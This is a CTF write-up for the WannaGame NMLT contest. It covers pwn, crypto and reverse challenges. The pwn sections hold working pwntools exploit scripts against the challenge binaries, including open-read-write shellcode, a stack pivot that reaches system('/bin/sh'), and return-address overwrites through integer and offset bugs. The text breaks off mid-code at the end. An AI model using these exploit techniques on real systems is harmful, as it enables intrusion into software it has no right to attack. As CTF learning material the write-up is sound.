# WannaGame NMLT
| Challenge | Category | Score |
|---------------------|-----------|-------|
| **Hello pwner** | Pwn | 0 |
| **Guess Me** | Pwn | 248 |
| **orw32** | Pwn | 736 |
| **orw64** | Pwn | 736 |
| **sint** | Pwn | 487 |
| **pivot** | Pwn | 854 |
| **Guess Me V2** | Pwn | 1000 |
| **substitution** | Crypto | 214 |
| **hix** | Crypto | 221 |
| **DH** | Crypto | 308 |
| **GiacMoTrua2** | Reverse | 217 |
| **Easy Flag Checker**| Reverse | 217 |
| **GiacMoTrua1** | Reverse | 239 |
## Pwn
### Hello pwner


Visit [there](https://syscalls64.paolostivanin.com/) to know how to use syscall.

rax = 0x01 mean you call syscall write
rdi = 0x01 is File descriptor (stdout)
rsi = the string or something that you want to print out
rdx = the size of the output
With the calling syscall 60 you can also look at the link that i have send before to know what is it :smile_cat:
Flag: W1{welcome_to_assembly}
### Guess Me


Checksec of this challenge
```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-14h] BYREF
unsigned int v5; // [rsp+10h] [rbp-10h]
unsigned int v6; // [rsp+14h] [rbp-Ch]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]
v7 = __readfsqword(0x28u);
init(argc, argv, envp);
signal(14, handle_alarm);
v6 = rand() % 100000000 + 1;
v5 = 27;
puts("Welcome to the Guessing Game!");
printf("You have %u attempts to guess the number between 1 and %d.\n", 27LL, 100000000LL);
puts("You also have 4 seconds before the game ends!\n");
puts("Good luck!\n");
while ( (int)v5 > 0 )
{
printf("Attempts left: %u\n", v5);
printf("Enter your guess: ");
if ( (unsigned int)__isoc99_scanf("%u", &v4) == 1 && v4 > 0 )
{
if ( v6 == v4 )
{
read_flag();
printf("Congratulations! You guessed the correct number: %u.\n", v6);
printf("Here is your flag: %s\n", flag);
break;
}
if ( (int)v6 <= v4 )
puts("Too high! Try again.");
else
puts("Too low! Try again.");
--v5;
}
else
{
puts("Invalid input! Please enter a positive integer.");
while ( getchar() != 10 )
;
}
}
if ( !v5 )
printf("\nGame Over! The correct number was %u.\n", v6);
return 0;
}
```
After reversing the file, it's just a basic binary search challenge
```python
from pwn import *
# ip =
# port =
# p = remote(ip, port)
p = process('./chall')
l = 1
r = 100000000
recv = p.recvuntil(b'Good luck!\n')
recv = p.recvline()
print(recv)
while l <= r:
mid = (l + r) // 2
recv = p.recvline()
print(recv)
p.sendline(str(mid))
print(str(mid))
recv = p.recvline()
print(recv)
if b'Too high! Try again.' in recv:
r = mid - 1
elif b'Too low! Try again.' in recv:
l = mid + 1
else:
break
# gdb.attach(p)
p.interactive()
```
This is my script
Flag: ```flag{BiNaRy_sEaRcH _iS_FuN_RiGhT_?}```
### orw32

```cpp
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
void * shellcode;
void sandbox() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(rt_sigreturn), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0);
seccomp_load(ctx);
}
int main(void){
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
shellcode = mmap(0, 0x1000,PROT_EXEC | PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE,-1,0);
if(shellcode == (void*)-1){
perror("mmap failed. Exiting");
exit(-1);
}
printf("Input your shellcode: ");
read(STDIN_FILENO, shellcode, 0x1000);
sandbox();
((void (*)(void))shellcode)();
return EXIT_SUCCESS;
}
```
After reversing it, the thing that I need to do is just only use some syscall that in sandbox() allow to read flag.txt.
```asm
from pwn import *
shellcode = asm("""
xor eax, eax
xor ecx, ecx
mov eax, 0x5
push ecx
push 0x7478742e
push 0x67616c66
mov ebx, esp
int 0x80
mov ecx, ebx
mov ebx, eax
mov eax, 0x3
mov edx, 0x100
int 0x80
mov edx, eax
mov eax, 0x4
mov ebx, 0x1
int 0x80
mov eax, 0x1
mov ebx, 0
int 0x80
""", arch = 'i386')
r = process("./orw")
# r = remote("chall.w1playground.com",13111)
r.sendline(shellcode)
r.interactive()
```
This is my script.
Flag: W1{3eee77de7272c6a53d5566648d93a270dd5a3d4a22d008973bc5e50c3f634ed1}

I also spend a lot of time doing this challenge because my coding skill issue, I forgot something in sys_read so it can't give me the flag but it still work in local :smile:
### orw64

Still the same with orw32, you just need to change code from 32bit to 64bit
```python
from pwn import *
shellcode = asm("""
xor rax, rax
mov rdi, -100
lea rsi, [rip+filename]
xor rdx, rdx
mov rax, 257
syscall
mov rdi, rax
lea rsi, [rsp]
mov rdx, 0x100
xor rax, rax
syscall
mov rdx, rax
mov rax, 1
mov rdi, 1
syscall
xor rax, rax
mov rax, 60
xor rdi, rdi
syscall
filename:
.ascii "flag.txt\\0"
""", arch='amd64')
# p = process("./orw")
p = remote("chall.w1playground.com", 19344)
p.sendline(shellcode)
p.interactive()
```
Flag: W1{6887a32dc67c303c7a6cba79d0c95131be48186ac9342877345d6b83aa58ddc6}
### pivot


```
Dump of assembler code for function main:
0x00000000004012c1 <+0>: endbr64
0x00000000004012c5 <+4>: push rbp
0x00000000004012c6 <+5>: mov rbp,rsp
0x00000000004012c9 <+8>: sub rsp,0x20
0x00000000004012cd <+12>: mov DWORD PTR [rbp-0x14],edi
0x00000000004012d0 <+15>: mov QWORD PTR [rbp-0x20],rsi
0x00000000004012d4 <+19>: mov eax,0x0
0x00000000004012d9 <+24>: call 0x4011d6 <init>
0x00000000004012de <+29>: mov edi,0x100000
0x00000000004012e3 <+34>: call 0x4010d0 <malloc@plt>
0x00000000004012e8 <+39>: mov QWORD PTR [rbp-0x8],rax
0x00000000004012ec <+43>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004012f0 <+47>: add rax,0x1000
0x00000000004012f6 <+53>: mov QWORD PTR [rbp-0x10],rax
0x00000000004012fa <+57>: mov rax,QWORD PTR [rbp-0x10]
0x00000000004012fe <+61>: mov rdi,rax
0x0000000000401301 <+64>: call 0x40123c <pwn>
0x0000000000401306 <+69>: mov eax,0x0
0x000000000040130b <+74>: leave
0x000000000040130c <+75>: ret
```
```
Dump of assembler code for function init:
0x00000000004011d6 <+0>: endbr64
0x00000000004011da <+4>: push rbp
0x00000000004011db <+5>: mov rbp,rsp
0x00000000004011de <+8>: mov rax,QWORD PTR [rip+0x2e3b] # 0x404020 <stdin@@GLIBC_2.2.5>
0x00000000004011e5 <+15>: mov ecx,0x0
0x00000000004011ea <+20>: mov edx,0x2
0x00000000004011ef <+25>: mov esi,0x0
0x00000000004011f4 <+30>: mov rdi,rax
0x00000000004011f7 <+33>: call 0x4010e0 <setvbuf@plt>
0x00000000004011fc <+38>: mov rax,QWORD PTR [rip+0x2e0d] # 0x404010 <stdout@@GLIBC_2.2.5>
0x0000000000401203 <+45>: mov ecx,0x0
0x0000000000401208 <+50>: mov edx,0x2
0x000000000040120d <+55>: mov esi,0x0
0x0000000000401212 <+60>: mov rdi,rax
0x0000000000401215 <+63>: call 0x4010e0 <setvbuf@plt>
0x000000000040121a <+68>: nop
0x000000000040121b <+69>: pop rbp
0x000000000040121c <+70>: ret
```
```
Dump of assembler code for function pwn:
0x000000000040123c <+0>: endbr64
0x0000000000401240 <+4>: push rbp
0x0000000000401241 <+5>: mov rbp,rsp
0x0000000000401244 <+8>: sub rsp,0x30
0x0000000000401248 <+12>: mov QWORD PTR [rbp-0x28],rdi
0x000000000040124c <+16>: mov rax,QWORD PTR [rbp-0x28]
0x0000000000401250 <+20>: mov rsi,rax
0x0000000000401253 <+23>: lea rdi,[rip+0xdaa] # 0x402004
0x000000000040125a <+30>: mov eax,0x0
0x000000000040125f <+35>: call 0x4010b0 <printf@plt>
0x0000000000401264 <+40>: lea rdi,[rip+0xda8] # 0x402013
0x000000000040126b <+47>: mov eax,0x0
0x0000000000401270 <+52>: call 0x4010b0 <printf@plt>
0x0000000000401275 <+57>: mov rax,QWORD PTR [rbp-0x28]
0x0000000000401279 <+61>: mov edx,0xff
0x000000000040127e <+66>: mov rsi,rax
0x0000000000401281 <+69>: mov edi,0x0
0x0000000000401286 <+74>: call 0x4010c0 <read@plt>
0x000000000040128b <+79>: lea rdi,[rip+0xd93] # 0x402025
0x0000000000401292 <+86>: mov eax,0x0
0x0000000000401297 <+91>: call 0x4010b0 <printf@plt>
0x000000000040129c <+96>: lea rax,[rbp-0x20]
0x00000000004012a0 <+100>: mov edx,0x32
0x00000000004012a5 <+105>: mov rsi,rax
0x00000000004012a8 <+108>: mov edi,0x0
0x00000000004012ad <+113>: call 0x4010c0 <read@plt>
0x00000000004012b2 <+118>: lea rdi,[rip+0xd7c] # 0x402035
0x00000000004012b9 <+125>: call 0x401090 <puts@plt>
0x00000000004012be <+130>: nop
0x00000000004012bf <+131>: leave
0x00000000004012c0 <+132>: ret
```
```
Dump of assembler code for function run_command:
0x000000000040121d <+0>: endbr64
0x0000000000401221 <+4>: push rbp
0x0000000000401222 <+5>: mov rbp,rsp
0x0000000000401225 <+8>: sub rsp,0x10
0x0000000000401229 <+12>: mov QWORD PTR [rbp-0x8],rdi
0x000000000040122d <+16>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000401231 <+20>: mov rdi,rax
0x0000000000401234 <+23>: call 0x4010a0 <system@plt>
0x0000000000401239 <+28>: nop
0x000000000040123a <+29>: leave
0x000000000040123b <+30>: ret
```
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
void init(){
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void run_command(char * command){
system(command);
}
void pwn(char * a1){
char essay[32];
printf("Your gift: %p\n", a1);
printf("Enter your name: ");
read(STDIN_FILENO, a1, 255);
printf("Your password: ");
read(STDIN_FILENO, essay, 0x32);
puts("Wrong password!!!!");
}
int main(int argc, char *argv[]){
init();
char *blank = malloc(0x100000);
char *buf = blank + 0x1000;
pwn(buf);
return EXIT_SUCCESS;
}
```
First of all we need to checksec and reverse the file.
After reversing it, it's easy for everyone to see that the function **run_command** is the most important function that we need to 'join' and try to call **system("/bin/sh")**. So the thing we need to do is make the **command (rax)** become the pointer of the string **/bin/sh**
P/s : in the first I try to make the **command(rax)** become **/bin/sh** instead of the pointer so it meaningless
Look at the **pwn** function, the array essay just have 32 char but you can also type **0x32** byte (50 byte) -> you can use it to return to another function (maybe **run_command**) or **rop chain**, my choice is **ret2win**

While entering essay array, my **aaaaaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaal** and it's very easy for you to see that after entering, the rbp is **gaaahaaa** and the rsp is **iaaajaaa** so we the offset is **8 * 5 = 32** (just use to change rsp)
```python
from pwn import *
p = process('./pivot')
# p = remote('chall.w1playground.com',54444)
p.recvuntil(b'Your gift: ')
stack_leak = int(p.recvline(), 16)
run_command = 0x40121D
print(hex(stack_leak))
payload = p64(0x00) * 5 + p64(run_command)
p.sendline(p64(0x00))
gdb.attach(p)
p.sendline(payload)
p.interactive()
```
My script at first to connect to **run_command**

And it also can reach to **run_command**


But it's bug because **stack alignment** then i try a lot of way to put one more **ret** before reach to **run_command** because **rax** have also the pointer of the string "/bin/sh" but i can't solve with that idea, so i have try to skip some step in **run_command**
Eg:

But it have bug because of [rbp - 8] and **rax** can not be **mov** to the pointer of the string so i'm stuck.... but i have remembered that we also have another array can be use it's **buf** by using rbp (let rbp bring the address of **buf** array)
My new script:
```python
from pwn import *
p = process('./pivot')
# p = remote('chall.w1playground.com',54444)
p.recvuntil(b'Your gift: ')
stack_leak = int(p.recvline(), 16)
run_command = 0x40121D
print(hex(stack_leak))
payload = p64(0x00) * 4 + p64(stack_leak) + p64(run_command + 16)
bin_sh = "/bin/sh"
p.sendline(bin_sh.encode('ascii'))
gdb.attach(p)
p.sendline(payload)
p.interactive()
```
But it's still bug because of the reason that i have mentioned before (confused between string pointer and string)

When i realized that i let rax to be the pointer of the string and the string stay next to it :smile_cat:
My last script:
```python
from pwn import *
# p = process('./pivot')
p = remote('chall.w1playground.com',54444)
p.recvuntil(b'Your gift: ')
stack_leak = int(p.recvline(), 16)
run_command = 0x40121D
print(hex(stack_leak))
payload = p64(0x00) * 4 + p64(stack_leak + 8) + p64(run_command + 16)
bin_sh = "/bin/sh"
p.sendline(p64(stack_leak + 8) + bin_sh.encode('ascii'))
# gdb.attach(p)
p.sendline(payload)
p.interactive()
```
Then i got flag

Flag: W1{191ef974e018f68f5907dbb58aaecb67d801bcfdd054113ac504a10fa923e24d}
### sint


```c
ssize_t pwn()
{
unsigned int v1; // [esp+Ch] [ebp-10Ch] BYREF
char buf[260]; // [esp+10h] [ebp-108h] BYREF
v1 = 0;
printf("Size: ");
__isoc99_scanf("%d", &v1);
if ( v1 >= 0x101 )
{
puts("Buffer Overflow!");
exit(0);
}
printf("Data: ");
return read(0, buf, v1 - 16);
}
```
```c
void __noreturn win()
{
system("cat flag.txt");
exit(-1);
}
```
After reversing and checksec-ing, the thing we need to do is try some way to reach **win()** function and i guess the bug of this challenge is BOF because v1 is insigned number so what if v1 = 0 => v1 - 16 = -16 ?

v1 - 16 = 0xfffffff0 (0x0 - 0x10).
So what **read(0, buf, 0xfffffff0)** (0xfffffff0 > 260) so it will have BOF. So the next thing i need to do is calculate the offset to ret address and i have spammed the address of **win()** 100 times and i got flag :smile_cat:
My script:
```python
from pwn import *
host = 'chall.w1playground.com'
port = 40011
p = remote(host, port)
# p = process('./sint')
payload = b'0'
p.sendline(payload)
# gdb.attach(p)
payload = b'\x8B\x92\x04\x08' * 100
p.sendline(payload)
# gdb.attach(p)
p.interactive()
```

Flag: W1{dbd4664aaa39cbe0e15ac1feeed0bb68b13e2d50698d2d47c4e5c84e32e31548}
### GuessMeV2


```c
unsigned __int64 play()
{
char v1; // [rsp+3h] [rbp-1Dh] BYREF
int v2; // [rsp+4h] [rbp-1Ch] BYREF
int v3; // [rsp+8h] [rbp-18h] BYREF
unsigned int offset; // [rsp+Ch] [rbp-14h]
int *v5; // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
v2 = randomnumber;
v5 = &v2;
puts("I give you one chance to modify one byte value of randomnumber variable.");
puts("You can only modify 1 byte of randomnumber variable.");
printf("Enter the byte offset you want to modify (0-3): ");
offset = get_offset();
printf("Enter the new byte value: ");
if ( (unsigned int)__isoc99_scanf("%hhu", &v1) != 1 )
{
puts("Invalid input! Please enter a byte value.");
exit(0);
}
*((_BYTE *)v5 + offset) = v1;
while ( 1 )
{
printf("Enter your guess: ");
if ( (unsigned int)__isoc99_scanf("%u", &v3) == 1 && v3 > 0 )
break;
puts("Invalid input! Please enter a positive integer.");
while ( getchar() != 10 )
;
}
if ( v3 == v2 )
{
read_flag();
printf("Congratulations! You guessed the correct number: %u.\n", (unsigned int)randomnumber);
printf("Here is your flag: %s\n", flag);
exit(0);
}
if ( v3 >= v2 )
puts("Too high! See you again.");
else
puts("Too low! See you again.");
if ( randomnumber == -559038737 )
trade_flag();
return v6 - __readfsqword(0x28u);
}
```
```c
__int64 get_offset()
{
__int64 v1[2]; // [rsp+0h] [rbp-10h] BYREF
v1[1] = __readfsqword(0x28u);
if ( (unsigned int)__isoc99_scanf("%ld", v1) != 1 || v1[0] > 3 )
{
puts("You must be a hacker");
exit(0);
}
return v1[0];
}
```
```c
int read_flag()
{
int fd; // [rsp+Ch] [rbp-4h]
fd = open("./flag.txt", 0);
if ( fd < 0 )
{
puts("Error open file");
exit(0);
}
read(fd, flag, 0x64uLL);
return close(fd);
}
```
```c
void __noreturn trade_flag()
{
puts("What the fuck?!");
puts("You found the secret function!");
puts("Skibidibi dib yo da dub dub!");
puts("Doggo says: \"I'm pickle Rick!\"");
puts("Pickle ball pickle ball pickle ball!");
execve(username, &age, &envp);
exit(0);
}
```
I spend most of the time to find -bug in this challenge. The bug is in **get_offset**, i can input the negative number, so i can change any byte of the address which stand before **v5** like this

Look at the green row, you can the that rax = (0x7fffffffe4f4 + 0x0) because when the chall ask me **'Enter the new byte value: want to modify (0-3): Enter your age: '** then i enter value 0 so **(0x7fffffffe4f4 + 0x0) still 0x7fffffffe4f4** but what if i try with a negative number

The value that i have entered is **-100** so why there is **0xffffff9c** but not **-0x44** ?

This is the reason :v:
At fist, i think the author of this challenge want the player solve by changing GOT so i decided to learn it for a day but that teachnique is not the solution for this challenge :smile_cat: so i debug more carefully.

In the end of play function, it return to **0x4018f7** (rbp + 008) which is the value of [0x7fffffffe4e8] and of course **0x7fffffffe4e8** is standing before **v5**, so i can change the value of it and it can return to another place but i just can replace 1 byte so i need to find any place have address **0x40xxf7** or **0x4018xx**. I have think about jumping into **trade_flag()** and **read_flag()** but **read_flag()** is more convenient because i need not to ready **username** and **age** to **execve**. Luckily the address of **read_flag()** is **0x4016f7** so i can change the second byte of **rbp + 008** into **0x4016f7**


Calculate a little bit the distance from the top of the stack to **rbp + 008** (+1 because i need to change the second byte and 22 is 0x16)

Flag: W1{https://www.youtube.com/watch?v=MFhxShGxHWc}
## Crypto
### Substitution
```python
KEY = {
'A': 'Q', 'B': 'W', 'C': 'E', 'D': 'R', 'E': 'T', 'F': 'Y', 'G': 'U', 'H': 'I', 'I': 'O',
'J': 'P', 'K': 'A', 'L': 'S', 'M': 'D', 'N': 'F', 'O': 'G', 'P': 'H', 'Q': 'J', 'R': 'K',
'S': 'L', 'T': 'Z', 'U': 'X', 'V': 'C', 'W': 'V', 'X': 'B', 'Y': 'N', 'Z': 'M',
'a': 'q', 'b': 'w', 'c': 'e', 'd': 'r', 'e': 't', 'f': 'y', 'g': 'u', 'h': 'i', 'i': 'o',
'j': 'p', 'k': 'a', 'l': 's', 'm': 'd', 'n': 'f', 'o': 'g', 'p': 'h', 'q': 'j', 'r': 'k',
's': 'l', 't': 'z', 'u': 'x', 'v': 'c', 'w': 'v', 'x': 'b', 'y': 'n', 'z': 'm',
}
def hehe(data, key):
return ''.join(key.get(char, char) for char in data)
def encrypt(plaintext):
substituted = hehe(plaintext, KEY)
return substituted
if __name__ == "__main__":
plaintext = "W1{???????????????}"
encrypted = encrypt(plaintext)
with open("encrypted.txt", "w") as f:
f.write(encrypted)
```
encrypted.txt = V1{lxwlzozxzogf}
I put both of them to chatgpt and ask them the answer of this chall :smile_cat:

Flag: W1{substitution}
### HIX

I put every thing that i can download into ChatGPT and ask it to give me the sources that can solve the problem :smile_cat:
```python3
import hashlib
import random
import string
# Các phương thức hash ngẫu nhiên
methods = ['md5', 'sha256', 'sha3_256', 'sha3_512', 'sha3_384', 'sha1', 'sha384', 'sha3_224', 'sha512', 'sha224']
def random_encrypt(x):
method = random.choice(methods)
hash_obj = hashlib.new(method)
hash_obj.update(x.encode())
return hash_obj.hexdigest()
# Mã hóa ngược với phép cộng thêm 20 vào giá trị ASCII
def decrypt_step(char_encrypted):
# Thử với tất cả các ký tự có thể có
for c in string.printable: # Sử dụng tất cả ký tự in được
# Giải mã bước 1: Thử tìm ra giá trị ASCII của ký tự gốc
x = (ord(c) + 20) % 130
# Băm lại giá trị đó bằng SHA-512
sha512_hash = hashlib.sha512(str(x).encode()).hexdigest()
# Sử dụng random_encrypt để kiểm tra có trùng khớp không
if random_encrypt(sha512_hash) == char_encrypted:
return c # Trả về ký tự tìm được
return None
# Hàm giải mã toàn bộ flag
def decrypt_flag(ct):
# Tạo biến chứa flag có chiều dài tương đương với ct
flag = ["?"] * len(ct) # Dài bằng số lượng phần tử trong ct
# Số lần lặp lại để thử giải mã
attempts = 0
while "?" in flag and attempts < 1000: # Giới hạn số lần thử
attempts += 1
for i, encrypted_char in enumerate(ct):
decrypted_char = decrypt_step(encrypted_char)
if decrypted_char:
# Thay thế dấu "?" ở vị trí tương ứng
if flag[i] == "?": # Chỉ thay thế khi là dấu chấm hỏi
flag[i] = decrypted_char
print("Attempt:", attempts, "".join(flag)) # In ra trạng thái của flag mỗi lần thử
return "".join(flag)
# Chuỗi mã hóa bạn cung cấp
ct = [
'f189636f8eef640b55d03387864fd17efd324453cc9276be5ff6bd4da88b13fca72438daaab00830a6d14330d37c0f7bee1e7c32d5dda0541a171f66a2343dc1',
'1388cafa58065fa0c04372ce57f303cc4ec9fe62',
'f6266e2849bf8b8575701814cc3f3eb5369e887db54b34e85b1e4608b4fbf5e5',
'31f33ac191e818db784cf8321d70f84763db2b2e599f90cf65868eec85a10f20ae0e23aa1cd48c2f13eec355b2975089490761a291ac2a1bcf33f5fbecead431',
'981e4bce5dede3faa51a936f650e2c1d64169493860c67d68a1ffbbfa32f58598e7869f3f11aefc1620ee8d3ebe4e5f5',
'f06ffaaa6290bf47d26ba2c09c28dddd8f5bcad6ac464ec17fea48040acf1214d10bc109b7c47cffddb6bccd6b61b61a9e629a8f47ab26b80593f29c8c297489',
'a7d95b3bbde885b4eaa76afc6572e18e4483351005f637fe1f5a7bc0b000fe1f',
'85245de371c327440a5f343f27d6df361225806e679950bab3a5a336',
'ea1923e909de3c3c3384ad9ae7696d73',
'21df20aab35967470aada32375f535d4a735789bf0789fd421f85163c4d75c6e',
'b9491ae1a9de40d30a86c00139bd7d6f496f5bf4ce013bc2d5a43a97',
'03f061f60f3527b15ff31d31dcce0761',
'981e4bce5dede3faa51a936f650e2c1d64169493860c67d68a1ffbbfa32f58598e7869f3f11aefc1620ee8d3ebe4e5f5',
'f2a1a7e9dd5e6363050b0cdb0579ebfebdc5e348ab538bdcf47616139351cf2b9f92cb4d14446b3ad8bf182875b81e75',
'24aaafc58a2b897aed5829b2e96d73b1de7cd680d76a1143cdc8baef',
'6d80d11e5f1161ef86619dcdb186852b5218d6ac224b81b63555fe73741631c36ae0bcb5b3228fbed796c22dedeed587c9d65ddb825aee4fae92b6619e7ffd8f',
'6f8b39550106044625102ee0cabf9fe1393f0013388633d5742fcc7e8df7708793a96885b9d18b795a2b0d9014704b9f',
'ddf3c543be9cac44f3af078583fe5fddb64104d93308c146c23f52ff25b2a6e23606c42dc0060a4dd9b11b446759cb5de1844471eb3d6d25c43c6fcc0d8d60c4',
'95f2739053cf64555b0c0662b5e2d63822433f7fcac6960de6d57efda427461a58c6e2ffac6da6f4caa9407df10cc0be',
'a1bd4e0efc7ce8bd1d63433a0baa87e3a486fbfe2729d73d1dbf7d2822d201ee8726c6d94da1f09f1a53554e440ad6041ecab545b2085dc28c6f6849f0fcea23',
'a7d95b3bbde885b4eaa76afc6572e18e4483351005f637fe1f5a7bc0b000fe1f',
'2b4561a521a82af6a26dfb76078ca97ba53a720f7ee67d923a6d3a13',
'b21ed1f3d501a8a842ef1b26ed3863cf10cf8231ee23a079f749cfa322702c8e',
'd798a32b52384219f8779dccf8b2173f4b73f075cbeb4507ee83c94e',
'b863fa3492fb87edcdef766f38a508ed',
'9f876db4b58c1b7e499f35cdbd533a810060a0c8250bfc5421e0f42b2715b027',
'4b14748ba0f3da581ddd7ec49dac41d34ea1ee6dae90818333b11501',
'85153b2a5f8dea7f5488906cb65d61e9ac0666057636ff6b356dd4d8d0fc5d20',
'6b91d6259827176bcb3f312a8faca297e56c7e627235b930cf8163b3e7a5328b',
'b21ed1f3d501a8a842ef1b26ed3863cf10cf8231ee23a079f749cfa322702c8e',
'4c8740f90af1055f194a4c8e1b69522da228812465eb72b82b35c927bc48bf9d',
'b248b6b2f2c9365aa9a0e9b37a8057effd29bb2f34c79ec0b40124d08986832b5d227db95cb97b176541589985762d9a',
'7260f9b5d1c58d0609523114ed324f396335d940f852dba558461b34c5a53630',
'a1bd4e0efc7ce8bd1d63433a0baa87e3a486fbfe2729d73d1dbf7d2822d201ee8726c6d94da1f09f1a53554e440ad6041ecab545b2085dc28c6f6849f0fcea23',
'1077caf3ed754ed8fbd49c76134906e8',
'f3565219d115ec74a85056997cc25e98e3e4912a31c858c1e45b841047698e93',
'83315b8fa07a35b12e3f47ebb365268b4a4a8ef2',
'64c008d6460c2b98aba616b1d0d11a06b9df564b87d3aeedda83b36aacd3d0c160465109eb06c62e86e360cf026faa27a616dbbf2bec269be9ad128af96073bb',
'60bbd94b3ac3ea7149fc6cd850d72d4f1750601275832815dd9a23d4c3757d84aca29d716da5dd72a0045f15ff969925',
'94327e8c8321421e72f52cd726336e824630ec7dda31b07ce83f11b8234aea7a',
'a69ef62254280226cc4223a2341c727afcd7ce4e3ffd3f2f1c57d9d3cd30659b52b1c2b56f911a7157041b5f0ff8176f',
'3c904622c8d8d79c6704d50ae0175b049b3a5708705ecdce932fe426b9f46f1bd6585b8288c1d38f6301c31af5feac02',
'a3939bf491ffd9824056e249d6e355d8423855f0'
]
# Giải mã flag từ danh sách mã hóa
flag = decrypt_flag(ct)
print("Final Flag:", flag)
```
Then i run it

Flag: W1{are_you_trying_to_predict_randomness@_@}
### DH

Same with some crypto challenge before i just put everything into chatGPT and ask them to help me. But it have some problem about the time so i read carefully and this problem is nearly same with a problem that i and my team have solved before in **1337** so i also ask chatGPT to help me solve it with meet-in-the-middle algorithm.
```python
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from hashlib import sha256
from Crypto.Util.number import long_to_bytes
from sympy import mod_inverse
from math import isqrt
# Baby-step Giant-step (BSGS) Algorithm to find b such that g^b ≡ B (mod p)
def bsgs(g, B, p, max):
m = isqrt(max) + 1 # Step 1: Compute m = ceil(sqrt(p))
# Baby step: Precompute g^j mod p for j in [0, m-1]
baby_steps = {}
current = 1
for j in range(m):
baby_steps[current] = j
current = (current * g) % p
# Giant step: Precompute g^(-m) mod p and search for a match
g_m_inv = mod_inverse(pow(g, m, p), p)
current = B
for i in range(m):
if current in baby_steps:
return i * m + baby_steps[current]
current = (current * g_m_inv) % p
return None # No solution found
# Dữ liệu đã cho
p = 85013941328859365232686230728938372320812319905627686919070637645614632817039920673725615375841158719310596592903101914818137738460649589340349796188816568005092757847
g = 20033344683527080232439150682925185454003164954955126339094967675384779782733210350757021743656898625398860187361281262413493941502725149445995471514781822892886669776
A = 76548721461171533747911417838852759206858825205673491250696441734297318615226024320798706656529038703728631231084155790148283919370554345818139818854112841655270107839
B = 2103083080159597422706551446020625757109756570951674830166998494220734179439318911618156966499109201221652320384817270671579741987575328177442670242481963924501204498
encrypted = "240e7b7678aaaa0dcbe06de7c5598a1ca0be7e2ae584bc7dfd2388cdb1d4fb6a37ceb94556757afc293999cbe5a5a2dbb4071ebf6cfd4332088555f9b2de1922"
# Tìm b sử dụng BSGS
b = bsgs(g, B, p, 2**42)
if b is None:
print("Không thể tìm giá trị b.")
else:
print(f"Đã tìm thấy b = {b}")
# Tính shared secret ss
ss = pow(A, b, p)
# Tạo khóa AES từ shared secret
key = sha256(long_to_bytes(ss)).digest()[:16]
# Giải mã dữ liệu
cipher = AES.new(key, AES.MODE_ECB)
ct_bytes = bytes.fromhex(encrypted)
pt_bytes = unpad(cipher.decrypt(ct_bytes), AES.block_size)
flag_part = pt_bytes.decode()
print(f"Flag phần đã giải mã: {flag_part}")
```

Flag: W1{so_you_know_about_the_Diffie-Hellman-key_exchange}
## Rev
### GiacMoTrua2
```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-74h]
char s[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v6; // [rsp+78h] [rbp-8h]
v6 = __readfsqword(0x28u);
printf("Give me your secret string: ");
fgets(s, 100, _bss_start);
if ( s[0] == 'W' && s[1] == 49 )
{
Lookthis();
for ( i = 0; i <= 32; ++i )
{
if ( flag[i] != s[i] )
{
puts("Maybe... It's not the correct flag!");
return 0;
}
}
puts("Correct, Good eyes!");
return 0;
}
else
{
puts("Did you forget flag format?");
return 0;
}
}
```
```c
__int64 Lookthis()
{
__int64 result; // rax
int i; // [rsp+4h] [rbp-Ch]
int j; // [rsp+8h] [rbp-8h]
int k; // [rsp+Ch] [rbp-4h]
for ( i = 3; i <= 6; ++i )
{
result = (unsigned int)(9 - i);
if ( i < (int)result )
result = swap(&flag[i], &flag[9 - i]);
}
for ( j = 8; j <= 13; ++j )
{
result = (unsigned int)(21 - j);
if ( j < (int)result )
result = swap(&flag[j], &flag[21 - j]);
}
for ( k = 29; k <= 32; ++k )
{
result = (unsigned int)(61 - k);
if ( k < (int)result )
result = swap(&flag[k], &flag[61 - k]);
}
return result;
}
```
After reversing I know that the flag will be swap in some place.
The flag before swap: W1{live_speels_a5_NoOn_4v4ry_emit!}
```cpp
#include <bits/stdc++.h>
using namespace std;
string flag = "W1{live_speels_a5_NoOn_4v4ry_emit!}";
void solve()
{
int result;
int i; // [rsp+4h] [rbp-Ch]
int j; // [rsp+8h] [rbp-8h]
int k; // [rsp+Ch] [rbp-4h]
for ( i = 3; i <= 6; ++i )
{
result = (unsigned int)(9 - i);
if ( i < (int)result )
swap(flag[i], flag[9 - i]);
}
for ( j = 8; j <= 13; ++j )
{
result = (unsigned int)(21 - j);
if ( j < (int)result )
swap(flag[j], flag[21 - j]);
}
for ( k = 29; k <= 32; ++k )
{
result = (unsigned int)(61 - k);
if ( k < (int)result )
swap(flag[k], flag[61 - k]);
}
}
int32_t main()
{
